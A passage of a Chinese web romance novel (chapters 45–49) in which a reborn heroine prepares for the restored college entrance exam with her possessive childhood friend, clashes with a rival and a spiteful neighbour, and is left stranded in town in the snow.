“喂,我就是开玩笑的啊,”姜念捂住他的嘴,“这种你大反派的发言,以后少说。”
裴淮州蹙起好看的眉:“反派?什么叫反派?”
“这你就别管了,既然他被处罚了,那我跟姥姥也是时候离开了。”
裴淮州身子一僵,睫毛垂下来,低声道:“这么快又要走?”
“嗯,你说什么?”
“说我用你的名义报名了高考。”
姜念猛地瞪大眼:“啊?”
“边疆考试比较晚,还有二十五天才会考,我还打算给你辅导呢,可如今……”
裴淮州故作叹息:“算是白费了。”
“谁说白费的,我不走了,留下来参加考试!”姜念欢呼一声,一个开心直接扑倒了裴淮州,“裴淮州,你好棒啊!哈哈,我要上大学啦!”
裴淮州眼底都是笑意,被她扑在身下,生怕她滚下去,还用大手握住了她的腰,两人紧贴在一起。
姜姥姥路过哎呦一声:“你们……”
第四十五章 绿茶阴暗批裴淮州
姜念这才惊觉她完全把裴淮州按在了沙发上,鼻息交缠,两个腿挨着腿,手撑在男人结实的胸膛上,手感很不错,软硬适中,还有下边忽然不同的动感。
唰一下,姜念脸色爆红收回手,手忙脚乱爬起来:“我,我刚才摔倒裴淮州扶了我一把,姥姥,你别多想。”
裴淮州缓缓坐起来,腿不太自然的姿势,看似淡定,但耳尖都红了。
姜姥姥饶有趣味的盯着他们俩,直把两人看成了煮熟的虾子才挥手:“我是喊你们吃饭,洗手去吧。”
姜念如蒙大赦的跑去洗手,不敢看裴淮州一眼。
裴淮州坐着缓了会儿才吐出口气。
今天的饭桌格外安静。
姜姥姥看着埋头苦吃的姜念:“念念,既然事情办完了,那我们什么时候走?”
“总在这里打扰小州也不合适。”
裴淮州吃饭的动作慢了些,注意力立马跑到了姜念身上,心中忐忑,万一姜念因为刚才的事被他吓跑了怎么办?
“姥姥,我要留在这参加高考。”
“高考?高考是好事啊,姥姥支持你考,但……”姜姥姥疑惑,“可要在这里参加高考不得有本地户口吗,你户口不是还在红旗村吗?”
既然结婚证是假的,那户口肯定没在顾家户口上,她的户口是下乡时从城里落到了红旗村。
“红旗村的户口好迁,交给我来办吧。”
“迁走好迁但落户难啊,念念在本地没工作没粮食关系的,怎么迁过来?”
姜念愣了愣:“对啊,是有户口问题,裴淮州,你怎么……”
裴淮州眼神:“是白振国做的,他听到我在打听给你报考的事,特意去找了上头的领导,走了一些程序,给你在本地报上了名,我知道的时候,已经报名成功了。”
“那念念的户口呢?”
“暂时落在了部队的集体户口上。”
其实他卑劣的想用这件事骗念念跟他领证的。
他已经错过了她一辈子,顾向南又没死,只要念念一天没属于他,他就一天不安稳。
可谁成想,白振国居然会抢先一步。
想到这,裴淮州胸口翻涌出晦暗阴鸷的想法,反正都已经是未婚关系了,先确定了名分也不是不行。
但看着无知无觉的念念,又死死将这情绪压了回去。
不行,念念会怕他的。
“那等念念考上了大学,户口……”
“户口也是可以迁到学校户口的。”
姜姥姥放心了:“行,那从现在到高考这段时间,念念你好好复习,有啥想吃的就告诉姥姥,姥姥给你做。”
“嗯,姥姥,你真好呀。”
姜念抱着姥姥撒娇,如今一百三十斤的姑娘脸蛋白里透红,露出来的皮肤像是丰腴多汁的荔枝肉,看的裴淮州眼热。
他也好想被念念抱着撒娇,软乎乎的,粉嘟嘟的,会不会衬托的他像个变态?
但还是很激动怎么办?
裴淮州眼神一点点晦暗下去,喉结不自觉的滚动,然后就被姜念推了个水杯过来,撇嘴:“辣到了吧,我就说你吃不了辣,你还非得吃。”
裴淮州被嫌弃了,嘴角却勾了起来:“你喜欢。”
姜念:……
身体麻麻的,刚才那后遗症这么久的吗?
“我去跟爸妈说一声,你们继续吃。”
“我陪你。”
“不要,你吃你的,我要跟我爸妈说悄悄话。”
裴淮州只得坐下,看着姜念风风火火跑出去,恋恋不舍的收回视线却发现姜姥姥正笑眯眯地看他。
他微微挺直了背:“姥姥。”
姜姥姥意味深长地应了声。
“我听小赵说,你回去探亲时接到了念念的电话,二话没说就跑去了松山县?那时候念念还是顾家名义上的儿媳妇,你去找她做什么?”
裴淮州睫毛一颤,对上姜姥姥慈和却锋利的目光,他无奈笑了声。
虽然他活了两辈子,但加起来都不如眼前这位老人活得久。
对方可是能拿国家勋章的人物,耍心眼反倒会弄巧成拙:“念念过得不好,我要接她回来。”
“接她回来之后呢?”
“我喜欢她,想一辈子照顾她。”裴淮州直视着老人,郑重说。
姜姥姥一愣,没想到裴淮州会这么实诚。
“你倒是乖觉也够聪明,”老人笑了笑,“我虽然老了,护不了念念多久……”
“您别这么说,她听到会伤心。”
姜姥姥摇头:“我**,念念的依靠却不会少,她爸妈兄弟,再不济还有她大舅二舅大表哥二表哥他们,之前三年就算念念被迷了心蒙了眼,但她以后的丈夫,必须要过我们这一关。”
“
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您放心,我……”
“我不信口头承诺,只看你怎么做。”
姜姥姥看着裴淮州:“这次你说你们是未婚夫妻明面上是给顾向南叠加罪名,实际上是想姜念住在你这里,你舍不得她走,对吗?”
裴淮州心一提,拿不准对面老人的看法。
“如果这次高考你让念念跟你结婚落在你的户口,我二话不说立即带念念走。”
裴淮州心里的想法被看穿,他面色微变:“姥姥……”
“可是以你的能力,完全可以这样做,哪怕有白振国先动手,你也能用别的手段让念念跟你领证。”
“可你偏偏收敛了克制了,这样就很好。”
“你告诉姥姥,以后要是有这样的机会,你会不会带念念领证?”
会,怎么不会?
他恨不得把民政局扛到家里来盖章!
裴淮州睫毛遮住眼底的神色,道貌岸然地说:“不会。”
姜姥姥满意了:“念念年纪还小,高考之前我不希望有任何事分了她的注意力,小州啊,你明白姥姥的意思吗?”
“我明白的,姥姥。”
姜念回来时,姥姥已经回屋了,裴淮州捧着半碗饭,眼角发红。
看的她心里一揪:“裴淮州,你怎么了?”
怎么看起来像是要碎了?
“没事,辣椒太辣了,但明天早上可以所多吃一点,吃完了身上暖和。”
明天自己要跟裴淮州去买书,可姥姥说明天温度更低,姜念看了看他脖子空荡荡的,抿了抿唇。
夜晚挑灯夜战。
第二天,裴淮州就比姜姥姥先收到了暖洋洋的的围巾。
裴淮州笑弯了眼:“这是念念你亲手做的?”
他拿在手里稀罕的没个完,早上特意围着去实验室转了一圈,去买书坐车还嫌弃小赵:“你坐前面吧,别挤到围巾了,念念织了很久的。”
“小赵,你有对象给你织吗,哦,不好意思,我忘了你还没对象。”
小赵:……
跟实验室的研究人员一样,他脸也绿了。
这还是他们那个高岭之花的裴处吗?
姜念尴尬挠挠头,见车上只有他们才敢说:“那啥,这不是我织的,是我请隔壁嫂子织的,不过肯定比我弄得要保暖。”
炫耀了一早晨的裴淮州:……
小赵:“噗嗤!”
第四十六章 白心柔找打
下一秒裴淮州眼刀子就落在了小赵身上。
小赵讪讪闭嘴,姜念忐忑问裴淮州:“你不是生气了吧,我手一点都不灵巧,要是让我织围巾,恐怕全都是洞的,哗啦啦的漏风。”
“怎么会,不管是谁织的,这都是你送给我的。”
裴淮州虽然笑着说的,但姜念看清到了他眼底的黯淡,忍不住想,要不……自己再偷偷给他织一个?
他好像很伤心哦。
车子行驶很快,两人各怀心思地来到了一家废品回收站,姜念在外头等着,看着裴淮州跟里面的人说了几句就把一大包书提了出来。
后者热情地冲她招招手:“嫂子好。”
姜念脸一红,不自在咳嗽一下跟人打招呼,问裴淮州:“这些都是?”
“嗯,我会根据你的复习程度给你做些习题,国家第一次恢复高考,所有人都是同等水平,有我帮你,胜算很高。”
要是别人说这话,姜念肯定觉得他臭屁自大,可裴淮州完全有这实力。
不仅是对方打小成绩就优异,更是因为他从小就辅导她作业,硬生生把她从几分提升到了满分。
不过现在的裴淮州比他小时候更沉稳更成熟了,也更好看了,真不知道这人怎么长得啊……下颌线都这么优越,唇瓣薄薄的,似乎很好亲……
裴淮州淡淡抬眸:“怎么这么看我?我脸上有什么吗?”
意识到自己在想什么的姜念脸蛋一红,她怎么跟个小流氓一样馋人家身子啊,美色误人美色误人!
“既然书拿到了,那咱们回去吧。”
裴淮州见她眼神闪烁,不敢看自己,嘴角勾了勾:“不急,带你去买点学习工具。”
他们驱车来的最近镇子,供销社离回收站不远,裴淮州偶遇一个战友要谈些事,姜念就自己进了供销社。
其实也没什么好挑的,这里只剩下两套学习用具,姜念说只要一套,工作人员刚要给她拿,有人就拦住了她。
“这两套我都要了。”
姜念转头,就见进来白心柔气势汹汹,趾高气昂:“哪来的乡巴佬,也配跟我抢东西!”
柜员见她来了,立马推开姜念:“白医生你来了啊,我这就给你包起来。”
姜念冷不丁被推了一把,白心柔趁机占了姜念的位置,指桑骂槐:“以后别什么阿猫阿狗都放进来,不咬人也膈应人。”
姜念气笑了:“这东西是我先要的。”
“你给钱了吗,没给钱凭啥不能卖给我?”
白心柔当即掏出钱票:“我们家看门狗刚好缺这两套纸笔,我都要了。”
白心柔明里暗里的骂姜念连畜生都不如,见她脸色发青,心里一直憋着的的气才散了一点。
要不是这该死的**追过来闹上这一场,她的家怎么会散?她爸爸怎么可能会想再把她嫁给一个老光棍?
她又怎么可能从人人羡慕营长太太变成离婚带俩娃的二婚妇女!
天天被同事们指指点点,幸灾乐祸!
最重要的是,她怎么敢在全医院大会上让她名誉扫地,这几天,她根本不敢出门,一出去仿佛就能听到周围人对她的指指点点,听到同事之间的窃窃私语,她一个堂堂司令之女,往日多么风光啊,可现在竟然成了阴沟里见不得光的老鼠!
她都这么惨了,她爸还上赶着给姜念找关系报名高考!
她怎么能不恨姜念!
她恨不得弄死姜念!
钱票啪一下被白心柔拍在柜台上:“有些人就得有自知之明,什么都不会还想报高考,以为高考是什么阿猫阿狗都能参加的?你……”
啪的一声脆响。
白心柔脸被姜念狠狠扇了一巴掌。
空气都仿佛寂静了一分钟。
白心柔片刻才缓过神来:“姜念,你疯了,我爸是司令,你敢打我?”
姜念冷着脸反手又一巴掌扇上去。
“打的就是你,就冲你要把这些珍贵的纸笔给你家看门狗祸害,你爸来了也得给我憋着!”
上辈子她生前,她跟白心柔没有直接交集。
可她当亡魂飘着那些年,亲眼看到亲耳听到,白心柔撺掇顾向南给她爸妈哥哥弟弟扣上一盆又一盆屎盆子,弄不死他们全家不罢休。
若说顾向南是狼心狗肺的豺狼,那白心柔就是歹毒的野狗!
她还没去找白心柔,没想到她就送上门找打了!
姜念扇得手掌发麻,可心里却十分痛快。
“恢复高考对于学子有多么
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重要,你能不知道?你抢了这些给狗用也不给要参加高考学子,你要干什么?”
“是要跟政策对着干还是看不得我们这些学子过得好?”
跟着政策对着干?
哪怕最风声鹤唳的那段时间已经过去,但她还是狠狠打了个寒颤,脑子瞬间清明了!
“你别血口喷人!”
她这才发现周围围满了人,很多人都是学子,个个用仇恨的眼光看着她。
白心柔起了一层鸡皮疙瘩,但不想在姜念露怯:“我根本没那个意思。”
“你什么意思大家都听得清清楚楚,白心柔,白医生,白司令的千金,你就是这么高高在上,看不起我们这样的小老百姓吗?”
这一连串的称谓一出来,人群彻底炸开了锅。
“怪不得这么神气,原来是司令家的千金啊,能教出这种闺女的爸爸能是什么好人,是得跟部队反映一下了,省的你们总觉得我们没权没势的小老百姓好欺负!”
“这么费劲干什么?你我联名写**,把这种大蛀虫从部队里挖出去!”
人群里有人冷嘲热讽。
白心柔眼皮子狠狠一跳:“你胡说,我爸是可敬的军人!”
“原来你真是白心柔啊,最近可有名了,听说你嫁了个拐骗姑娘的人贩子,还想仗着你爸的手砸钱息事宁人,这是真的吧?”
“怎么可能是假的呀,报纸上都登报了!”
白心柔脑子嗡的一声,大脑一片空白:“什么登报!”
“就是今天的早报呀,卖的可好了,我们报社可加印了好几次了。”
白心柔只觉得五雷轰顶,眼前一黑,脸色由白转青连姜念打了她的事也不计较,推开人群摇摇晃晃跑了出去。
可没几步就大受打击的昏了过去。
“呀,人怎么躺地上了,你不是会医术吗,还在火车上救了个小孩,不去看看?”有人认出了姜念。
“是啊,虽然她挺可恶的,但好歹是一条命啊。”
众人开始道德**姜念。
身为医者,的确要救。
可很可惜,姜念给了一套的钱票,拎着东西走出了供销社,目不斜视从白心柔身边经过:“我不是大夫,没有行医资格,救不了。”
第四十七章 顾向南也有了奇遇?
有裴淮州辅导她高考,姜念每天都活在水深火热中,压根想不起还有白心柔这个人。
但白心柔一直记恨着姜念,要不是她,她怎么可能会上报纸,丢了那么大的脸,医院同事都开始排挤她了!
无奈她只能装病不去上班,天天躲在家里就像是见不得光的老鼠一样苟活!
白心柔妈妈贾婉茹担心敲开她的门:“心柔,妈妈给你做了你爱吃的鸡丝粥,你都两天不吃东西了,多少吃点吧。”
贾婉茹四十多岁的年纪保养得当,气质婉约,风韵犹存,白心柔长相十有**都随了她,在部队也算出类拔萃。
白心柔看到妈妈就忍不住红了眼睛:“你们都要把我嫁给一个老光棍了,还管**什么,让我**好了!”
贾婉茹嗔怪她一眼:“你忘了妈妈怎么跟你说的?女人不能这么疾言厉色,咱们女人天生就要依附男人过活的,得软些。”
“我还能怎么软,都怪那个**,我的面子里子都没了!”
“就是可怜了我的明明,那么小就没了爸,我一个带娃的离婚女人,还怎么活?”
“明明在咱们家养着,能缺什么?更何况,顾向南说不定没你说的那么不堪。”
“妈?你怎么还为他说话啊!他骗了我整整三年啊!害我不明不白的成了报纸上的小三!我都恨死他了!”
“可你再想想,这三年他不都在部队吗,连过年都没回家,他心里只有你一个,那姜念就是被他骗回去伺候老人的,要不是他这么做,你不就要去他家看他爸妈的脸色了?”
贾婉茹苦口婆心,“你冷静点,你爸昨晚跟我说了,顾向南在回去路上救了一村人,怕是又要酌情减刑了!”
“他救了一村人?”白心柔猛地睁大眼,“这怎么可能?”
“怎么不可能,他在大地震前夕提醒了那村子的人,震后还参与了搜救工作,救出来了十几个人,其中有个最隐秘的角落,要不是他坚持,那家人都得死!这可是大功绩!”
“你爸已经去给他周旋了,这可是实打实的功绩,你爸跟我说,这顾向南经此一事成长了不少,他还是很看好他的。”
白心柔被安抚住了:“妈,你和我爸不会是想让我再跟顾向南重归就好吧?”
“为什么不呢?你们还有个儿子呢,顾向南离开时跟你爸保证过他会重振旗鼓,卷土重来,更会好好对你们母子,这都没回去呢,就救了一村人,等送回去时,真不好说。”
白心柔被说动了,其实她虽然怨顾向南,但顾向南对她是真的好,说是百依百顺也不为过,长得还俊朗,在床上也很合她的心意。
他如果真能再立起来,那她……
她犹豫:“那我爸给我介绍的那个老光棍?”
“你不好拒绝,但若是他看上别人了呢?比如有人先勾引了他呢?我听说过那个姜念虽然胖了点但长得很漂亮?”
“这男人啊,都喜欢有肉的女人了。”贾婉茹笑的意味深长。
白心柔眼睛瞬间一亮:“好啊,可姜念不是裴淮州的未婚夫吗?”
“裴淮州?一个普通研究员而已,你爸会怕他?”
裴淮州的身份要保密,白振国在贾婉茹旁敲侧击时含混过去了,所以她并不知情,才敢想出这方法给女儿出气。
“妈您忘了啊,姜念还有个得了国家勋章的姥姥护着呢。”
“姥姥?”贾婉茹眼底闪过一丝毒辣,“老人老了,身体不好就管不了小辈的事了……”
“顾向南真的救了一个村子的人?”裴淮州缓缓放下了实验器皿。
小赵点头:“您不是让我时刻关注他的动态吗,刚开始还正常,但押送他的车辆在经过一个村子时,顾向南突然不住的上吐下泻,怎么治都治不好,车子只能停下来先过一晚。”
“可就是那么巧,当天晚上那附近就地震了,他居然还提前判断出来,救了不少人,怕是是要减刑了。”
裴淮州脱下了白色的手套,沉声:“这么巧?”
小赵倒是没觉得没什么。
“他是军人嘛,肯定知道地震来临之前的预兆,说不定就是让他瞎猫碰上了死耗子,毕竟这地震谁也说不准会什么时候来,啧,这小子运气倒是好,有了救人这大功,怕是要减不少年。”
“地震的村子叫什么?”
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小赵说了一个名字。
裴淮州瞳孔猛地一震。
“什么?”
小赵又重复了一遍,裴淮州一颗心慢慢沉了下去。
他对这个村子有印象,上辈子这个村子的确地震过,伤亡大半,连续一个月各地的电视台报社广播台都在播报这件事。
他几年后才在一个电视栏目上偶然看到过这次的报道,并没有听到地震发生的时间。
这是巧合,还是顾向南也有了奇遇?
“阿嚏!”
姜念连打了个好几个喷嚏,不由地趴在了桌子上,视线不由落在了旁边戴着金丝眼镜专注看书的裴淮州的身上。
外头阳光正好,金灿灿透过窗户洒到男人俊美的侧脸上,轮廓分明的眉眼,半垂的睫毛仿佛都在发光。
姜念忍不住感慨,这裴淮州是怎么长得啊,怎么感觉越来越帅了啊,这犹如中世纪优雅贵族的视觉盛宴,看的她不由地心跳加速,都不想读书了啊。
“念念,小州,吃饭了。”
裴淮州那修长的手指才缓缓合上厚重的原文书,仿佛才看到姜念似得询问:“我脸上有东西吗,怎么这么看我?”
姜念猝不及防被抓包,下意识的擦了擦嘴巴:“……没事,走,先去吃饭了。”
看她落荒而逃,裴淮州这才动了动发僵的脖颈,慢条斯理的看了一眼正午的阳光。
比他预料到的晚了几分钟,但还好,没白费。
姜念小时候就是个小花痴,上幼儿园时喜欢一个漂亮大哥哥,放了学不回家,屁颠颠跟着人家回了家。
叔叔阿姨赶过去的时候,这小妮子差点把口水糊到那男孩脸上。
后来那小男孩就搬到了他们家对面,以后小姜念就成了他的跟屁虫。
裴淮州现在有些后悔了,当时姜念跟他回家的时候要亲他,他为什么要躲呢?
现在他想亲都亲不着,只能这样馋她,勾引她……
“裴淮州走啊,你愣着干啥呢?”
“好。”
饭桌上,姜念举手:“这都学了好几天了,裴教授裴老师,我能请几天假吗?”
裴淮州眼眸一深:“好好说话。”
第四十八章 小嘴淬毒,你就是抢我们房子的疯婆子?
姜念嘿嘿:“谁让你要教我读书的,比我老师都严厉。”
“不过我都学这么长时间了,想休息个半天嘛。”
“那我陪你。”
“不用,我又不是小孩子了,就去逛逛百货商店。”
“那我送你。”
姜念挥挥手:“我跟隔壁的嫂子说好了一块蹭部队去镇上的车,待会儿就走。”
裴淮州眉头皱了皱,姜姥姥说:“等回来让小州去接你,顺便去邮局给我取个包裹,你爸妈听说你要读书,给你淘来了很多书。”
“好。”裴淮州抢先应下了。
姜念点点头:“行啊。”
她单纯是想出去放风而已,没别的心思。
倒是她屁颠颠离开后,裴淮州坐在沙发上沉思,念念是不是嫌他管的太严了,可学一个小时休息半个小时还不够吗?
“念念,我给你占好位置了,来坐这边!”隔壁嫂子宋新梅坐车厢里冲远处的姜念招手。
“好!”
姜念还没上车,车上先聊了起来。
“新梅,几天不见,你跟新来的邻居相处的不错嘛。”
宋新梅笑了笑,她本来就是爽朗大气的性子:“念念挺好相处的,对我脾气。”
“我瞅着还挺好看。”
“皮子白的嘞,怎么看都不像是在乡下住了三年的。”
“人家本来就是知青嘛,难得的是一点都不傲气,我老家的知青看人都鼻孔朝天的。”
这时,一道不友好的声音**来。
“好相处?某些人好相处能追到部队来闹这么一出,还厚着脸皮没结婚就跟个男人住在一起,我看她是满肚子的心眼子。”
“你们可都小心点,别到时候她把你们卖了,你们还要帮着她数钱哩。”
热闹的车厢里仿佛被泼了一盆凉水,宋新梅呵呵了声。
“赖大婶,有话你当着人面说,别背后嚼舌根,一副小人样。”
“你说谁小人呢,就算她当着我的面我也敢这么说,敢做还不敢让人说了?”
这话音刚落,姜念就上了车,大大方方地笑着打招呼。
“新梅姐。”
“来,你坐里面点,这里暖和。”
宋新梅热络的招呼她,姜念也不扭捏,坐了过去。
她不是没发现车厢里气氛有些尴尬,但她没放在心上,只跟宋新梅说话。
其实她跟宋新梅熟识起来也是偶然。
她刚住进来没几天,撞见宋新梅来例假,在院子里疼的昏了过去,给她针灸了几天还开了中药调理身子。
后来宋新梅和她丈夫很正式的登门感谢,送了不少自己种的大白菜和萝卜,她又送了些瓜子点心,一来二去的就熟悉了。
宋新梅知道她不会织围巾还热心教她。
只不过她实在手笨,只能拜托她给裴淮州织了一条新的。
昨天宋新梅过来问她要不要去镇上,部队的大车每隔五天就拉着军属们去一趟镇上,到了下午才回来。
正好姜念学累了,想出去散散心就立马答应了下来。
“哎呦,你太胖了,都挤着我了。”
路面不整,车开的晃荡,姜念都尽量保持不动了,可旁边的一个大婶还阴阳怪气起来。
“这年头哪有女人吃的这么肥头大耳的啊,某些人还说在乡下吃苦嘞,真是能编。”
姜念都快把自己缩成一半了,可对方还在说。
她这才确定对方对她充满恶意,她抬头:“你自己看看,我给你让了多大的地,但凡你把腿上收一收,再来一个人也能坐的下。”
车上的人可没料到姜念会直接开始怼,毕竟刚才赖大婶说了好几句她都没敢吭声呢,都惊讶的看过来。
这么一看的确看到赖大婶嘴里喊着挤,可她的地方比谁的都宽敞。
“这车是我先来的,要不是你非得挤过来,我用得着给你让位置吗?”
“占了我的位置还不让我说两句?你要是不想听,行啊,你就把位置还给我啊。”
姜念盯着她笑了笑,再看到她嘴角明显的大痦子时了然:“你是说的座位还是我们家的房子?”
“我早就听说有个疯婆子对我未婚夫申请下来的房子虎视眈眈,之前还闹过事。”
“见我们屋子没人她居然大半夜翻墙进去占房子,被房产科发现了,拽都拽不出来,见人来劝就躺地上,撒泼打滚的不让我们住?”
“那个疯婆子是你吧?”
这话说的,所有人都倒吸了口气,震惊地看着脸蛋还圆乎乎的姜念。
这小姑娘瞅着白白胖胖怪可爱无害的,小嘴怎这么毒?
姜念可不是无的放矢。
这些消息都是姜姥姥出去串门时打听过来的。
她出来时候姥姥还特意叮嘱她要是见到这个大妈嘴巴别
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客气,直接往她肺管子上戳。
出了事就让小州担着。
要是小州不顶事,还有她。
所以,有了两个靠山的姜念腰板挺得直直的。
赖大婶没料到姜念一眼就看穿了她的身份,嘴巴还这么不饶人,听着众人的交头接耳,一张老脸铁青:“你这年轻人怎么说话的?我是你的长辈!”
“要我尊老你也得有德行啊,我跟你这种倚老卖老,抢占我们家房子的人讲什么理,直接骂不就完了?”
“你,你才没德行,小小年纪不要脸,我呸,都没结婚呢就住男人家里,半夜里还不知道滚多少床单……”
这话骂的太粗俗,好几个年轻大姑娘都臊红了脸。
可姜念却睁着大大的眼睛问赖大婶。
“什么叫滚床单啊?啊?我不懂诶,你给我现在表演个呗?”
这话问的,就跟一拳打进了棉花里,憋屈的赖大婶捂住了心口,一只手死死指着姜念,白眼直往上翻:“你,你……”
“坏了,她要**!”
姜念大喊一声,一把抓住她的手指头,然后吃了吃奶的劲掐她的手指关节。
掐完这个掐那个。
“啊疼疼疼!”赖大婶疼的瞪凸了眼眶,屁股恨不得蹿到车顶上,“你放开我!”
“你们还看着啊,赶紧拉开她啊!”
“别急啊,我会中医,你这得多掐掐,我不是怕你死,是怕你死在车上,讹了咱们一车人!”
这话说的毒,赖大婶脑子嗡的一声,更可恶的是,她眼睁睁看着原本有人要来帮她的。
可在听到这话后,一屁股又坐下了。
赖大婶:……
她恨得喷出一口老血:“你给我等着!”
姜念笑眯眯又掐了她一把,把她掐的又是一阵鬼哭狼嚎:“放心,你变成鬼我也不会放过你的。”
赖大婶:?
这说的都是她的词啊!
到了目的地,司机说了集合的时间后,姜念神清气爽的下车。
在她走后,赖大婶磨蹭到最后才下车,直接对着司机说:“今天天气不好,咱们得提前一个小时走。”
“啊?那我得通知嫂子们。”
“你不用管,我都告诉他们了。”
“那好。”
赖大婶说完恨恨盯着姜念的背影。
镇上离部队远得很,她倒要看看姜念该怎么回去!
第四十九章 强烈的占有欲,说一句你就护上了
“念念,赖大婶在家属院里出了名的不讲理,你在车上那么下她的面子,她对你怀恨在心,说不定什么时候就会报复你的。”
“你得当心,要是出了事,你尽管来找姐。”
宋新梅刚才看的可痛快了,但也担心姜念年轻气盛再吃亏。
“谢谢新梅姐,不过没事,我不怕她,这种人越是让,她越是要蹬鼻子上脸,我才不惯着她。”
宋新梅就稀罕姜念这脾气,看她这昂头的神气样忽然笑的揶揄。
“不过你那对象怎么舍得你吃亏受气呀,我活了这么多年,就没见过有哪个男人比你对象还宠媳妇的,连媳妇的小衣裳都洗。”
姜念脸色唰的爆红!
前几天她例假来了,衣裳上染了血,她本来是要自己洗的,可喝了杯裴淮州给她冲的红糖水后怎么也找不到小裤裤了。
等她一抬头,看到她的小裤裤已经被洗干净了,她还以为是姥姥给她洗的,可她问姥姥却得到了否定的答案。
可家里就三个人,这小裤裤是谁洗的,昭然若揭。
怪不得那天早晨,裴淮州离开的比一般时候要早。
姜念当时脸红成了个煮熟的虾子,好在裴淮州回来后面色如常,姜念也闭着眼装不知道了。
可没想到他在院里洗衣裳时被新梅姐看到了啊!
姜念恨不得找个地缝钻进去。
偏偏宋新梅以为他们小两口情投意合,肆无忌惮的调侃起来。
“还有啊,你家那位对你可殷勤了,一天三顿就连中午都特意打了饭菜回来跟你一块吃,想当初我跟我家那口子感情最好的时候都没你们这样黏糊呢。”
“念念,你都不知道你是多少人羡慕的对象。”
“羡慕我?我有什么好羡慕的?”
姜念垂眸失笑,一个顾向南毁了她半辈子,若不是她及时醒悟,爸妈顾向南怕是又要遭顾向南的毒手。
“哎呀,你这不是身在福中不知福嘛,虽然你是受了点坎坷,但你娘家人多好啊,知道你受了欺负,不光爸妈姥姥就连舅舅和表兄表嫂都千里迢迢来给你撑腰。”
“这年头,咱们嫁了人的女同志就是娘家的外人了,哪怕被婆家人欺负死也少见有娘家人来给闺女撑腰的。”
“更何况是这么远的距离,你们家都倾巢出动来护着你了,你自己说说,我们该不该羡慕?”
姜念一怔,心头发软:“是啊,我还有爸妈姥姥和舅舅他们。”
“何止啊!”
宋新梅恨不得拍大腿。
“未婚夫是前途无量的研究员,长得帅家境又好,你家可是我们家属院里第一个用上彩色电视机的人家呀。”
“最重要的是,你对象那么优秀对你还这么体贴,不知道你察觉到没有,你家那位在外又凶又冷冰冰的,在路上,我见到他心里还有点发怵呢。”
姜念立马皱眉:“裴淮州哪里凶了?”
宋新梅哎呦呦。
“你看我才说一句你就护上了。”
“你当然没见过他凶的时候,因为他在你面前,就跟变了个人一样,那么温柔,那么体贴,那么宠你,我这个老大姐都看着眼热。”
“你难道没注意到你对象看你的眼神跟看别人的都不一样吗?”
姜念浑身一怔。
像是有什么被她忽略掉的东西破土而出。
“他看你的眼神总是专注的,宠溺的,沉甸甸的,仿佛他的世界只有你一个人,我们都是不存在的一样。”
“我们从小长大,所以感情才会这么好……”姜念心乱如麻,她潜意识的先反驳。
“我是过来人,这人看朋友发小是什么眼神,看爱人是什么眼神,我看的门清,再不济,一个人看朋友时,眼里不会有那么浓的占有欲。”
“可你对象在看你时,密密麻麻的都是占有欲。”
姜念睫毛颤了下。
接下来,宋新梅的话仿佛套上个罩子,朦朦胧胧中,姜念只听到了自己怦怦的心跳声,越跳越快,越来越热……
裴淮州真的是这样吗?
对别人冷淡对她就特殊。
姜念回想了他们在一起的点点滴滴。
似乎是这样的,裴淮州的确对她有莫名的占有欲。
而且还不是突然这样的,是从小就这样……
上小学时,她随口说了句某个男同学长得很好看,第二天那个同学看到她就跟见了鬼一样忙不迭跑开。
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她借给男同学或者女同学的铅笔橡皮鸡零狗碎的东西,在某天她去裴淮州家时,意外发现都被他珍藏在了一个铁皮盒子里。
中学时,他们班的同学聚会,有个男生跟她表白,话还没说完,裴淮州就敲开了门,笑着要接她走。
在那之后,那个男同学就转了学,她至今都没再看见过他。
而这样的事似乎还有很多,像走马灯一样浮现在她脑海里……
姜念双腿像是灌了铅,脑子也超负荷运转。
所以,这些微不足道,她从来没在意的小事,都彰显着裴淮州对她的极其强烈的占有欲吗?
宋新梅看了下手表:“那我先回娘家了,你记得提前去等车子,要是晚了就赶不上车了。”
“好……”
姜念不知道怎么跟宋新梅道别的,不知道自己是怎么走到邮局更不知道怎么拿到那些沉甸甸的包裹。
直到睫毛覆上一层薄薄的雪花,鼻尖一凉,她才猛地惊醒,天黑了,又下雪了。
糟糕,还有四十分钟车子就要开走了!
她赶紧去约定地方等车子,雪越下越大,街道上空荡荡,约定好的军车没在,那些家属也没在。
姜念看着阴下来的天和毫无动静的街道,心里一阵发紧。
怎么回事?
他们人呢?
部队实验室里,裴淮州心神不宁。
外面飘起了雪花,他压着眉头给研究员讲完最关键的一个步骤,忽视对方的欢呼雀跃,大步走出了实验室。
裴淮州下颌线绷紧:“钟表停了,为什么没有人告诉我?”
小赵一个激灵,刚才的讨论太精彩了他居然都看入了迷,对上裴淮州射过来的眼神,他硬着头皮。
“是晚了一个小时,但刚好是你要出发接嫂子的时间,你别担心,虽然下了雪,但嫂子会坐车回来的……”
裴淮州抿紧了唇,第一次使用特权把车子开进了家属院。
刚好跟送军属回家属院的军车碰上,军属正在下车。
小赵总算不用忍受冰冷的气氛了:“嫂子回来了!”
可话音未落,裴淮州跟阵风一样下了车,嗓音比这寒风还冷:“念念呢,她怎么没回来?”